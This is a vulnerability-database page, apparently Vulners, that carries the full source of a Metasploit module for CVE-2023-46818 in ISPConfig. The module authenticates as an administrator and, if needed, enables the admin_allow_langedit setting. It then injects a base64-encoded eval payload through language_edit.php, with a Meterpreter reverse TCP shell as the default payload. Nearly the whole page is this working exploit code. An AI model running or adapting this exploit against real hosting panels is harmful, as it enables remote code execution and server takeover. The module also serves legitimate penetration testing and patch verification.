Lucene search
K

📄 ISPConfig language_edit.php PHP Code Injection

🗓️ 09 Jul 2025 00:00:00Reported by EgiX, syfiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 145 Views

Exploits ISPConfig language_edit.php PHP code injection via admin_allow_langedit; payload written with file_put_contents.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Ispconfig
2 May 202504:51
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Backdropcms Backdrop_Cms
27 Apr 202517:54
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
13 Apr 202519:12
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
28 May 202515:18
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
6 Sep 202502:27
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
14 Jun 202513:38
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
31 Jul 202521:32
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
8 Oct 202411:22
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
14 Jun 202513:38
githubexploit
GithubExploit
Exploit for Code Injection in Ispconfig
13 Apr 202514:55
githubexploit
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ISPConfig language_edit.php PHP Code Injection',
            'Description' => %q{
              This module exploits a PHP code injection vulnerability in ISPConfig's
              language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
              setting is enabled, allowing authenticated administrators to inject arbitrary
              PHP code through the language editor interface.
    
              This module will automatically check if the required `admin_allow_langedit`
              permission is enabled, and attempt to enable it if it's disabled (requires
              admin credentials with system configuration access).
    
              The exploit works by injecting a PHP payload into a language file, which
              is then executed when the file is accessed. The payload is base64 encoded
              and written using PHP's file_put_contents function.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'syfi', # Discovery and PoC
              'Egidio Romano'
            ],
            'References' => [
              ['CVE', '2023-46818'],
              ['URL', 'https://github.com/SyFi/CVE-2023-46818'],
              ['URL', 'https://karmainsecurity.com/KIS-2023-13'],
              ['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
            ],
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Targets' => [
              [
                'Automatic PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2023-10-24',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
          OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
          OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
        ])
      end
    
      def check
        print_status('Checking if the target is ISPConfig...')
        return CheckCode::Unknown('Failed to login') unless authenticate
    
        # Always try to log in and parse version, since credentials are required
        # cookie_jar.clear (handled in exploit)
        # Try to access the dashboard or settings page
        settings_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
          'keep_cookies' => true
        })
        if settings_res
          doc = settings_res.get_html_document
          # Try to find version in a span, div, or similar element
          version_element = doc.at('//p[@class="frmTextHead"]')
          if version_element
            version_text = version_element.text
            version = version_text.split(':')[1].gsub(' ', '')
            version = Rex::Version.new(version)
            if version < Rex::Version.new('3.2.11p1')
              print_good("ISPConfig version detected: #{version_text}")
              return CheckCode::Appears("Version: #{version_text}")
            end
          end
        end
        CheckCode::Safe
      end
    
      def authenticate
        print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'login/'),
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            's_mod' => 'login'
          },
          'keep_cookies' => true
        })
        return false unless res
    
        if res&.code == 302
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
          })
        end
        body_downcase = res.body.downcase.freeze
        return false if body_downcase.include?('username or password wrong')
    
        if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
          print_good('Login successful!')
          return true
        end
        print_warning('Login status unclear, attempting to continue...')
        true
      end
    
      def check_langedit_permission
        print_status('Checking if admin_allow_langedit is enabled...')
    
        # Try to access the language editor to see if it's accessible
        edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => edit_url,
          'keep_cookies' => true
        })
    
        if res&.code == 200 && res.body.include?('language_edit')
          print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
          return true
        elsif res&.code == 403
          print_warning('Language editor access denied - admin_allow_langedit may be disabled')
          return false
        else
          print_warning('Could not determine language editor accessibility')
          return false
        end
      end
    
      def enable_langedit_permission
        print_status('Attempting to enable admin_allow_langedit...')
    
        # Try to access the system settings page
        settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => settings_url,
          'keep_cookies' => true
        })
    
        unless res && res.code == 200
          print_warning('Could not access system configuration page')
          return false
        end
    
        doc = res.get_html_document
        csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
        csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
    
        unless csrf_id && csrf_key
          print_warning('Could not extract CSRF tokens from system config page')
          return false
        end
    
        # Try to enable the setting
        enable_data = {
          '_csrf_id' => csrf_id,
          '_csrf_key' => csrf_key,
          'admin_allow_langedit' => '1',
          'action' => 'save'
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => settings_url,
          'vars_post' => enable_data,
          'keep_cookies' => true
        })
    
        if res&.code == 200
          print_good('Successfully enabled admin_allow_langedit')
          return true
        else
          print_warning('Failed to enable admin_allow_langedit')
          return false
        end
      end
    
      def inject_payload
        print_status('Injecting PHP payload...')
        @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
        b64_payload = Base64.strict_encode64(payload.encoded)
        injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
        lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
        edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
        initial_data = {
          'lang' => 'en',
          'module' => 'help',
          'lang_file' => lang_file
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => edit_url,
          'vars_post' => initial_data,
          'keep_cookies' => true
        })
        fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
        doc = res.get_html_document
        csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
        csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
        unless csrf_id && csrf_key
          fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
        end
        print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
        injection_data = {
          'lang' => 'en',
          'module' => 'help',
          'lang_file' => lang_file,
          '_csrf_id' => csrf_id,
          '_csrf_key' => csrf_key,
          'records[\]' => injection
        }
        send_request_cgi({
          'method' => 'POST',
          'uri' => edit_url,
          'vars_post' => injection_data,
          'keep_cookies' => true
        })
      end
    
      def exploit
        cookie_jar.clear
        fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
    
        # Check if language editor permissions are enabled
        unless check_langedit_permission
          print_warning('admin_allow_langedit appears to be disabled')
          print_status('Attempting to enable admin_allow_langedit...')
    
          if enable_langedit_permission
            print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
            # Re-check permissions after enabling
            unless check_langedit_permission
              fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
            end
          else
            fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
          end
        end
    
        inject_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation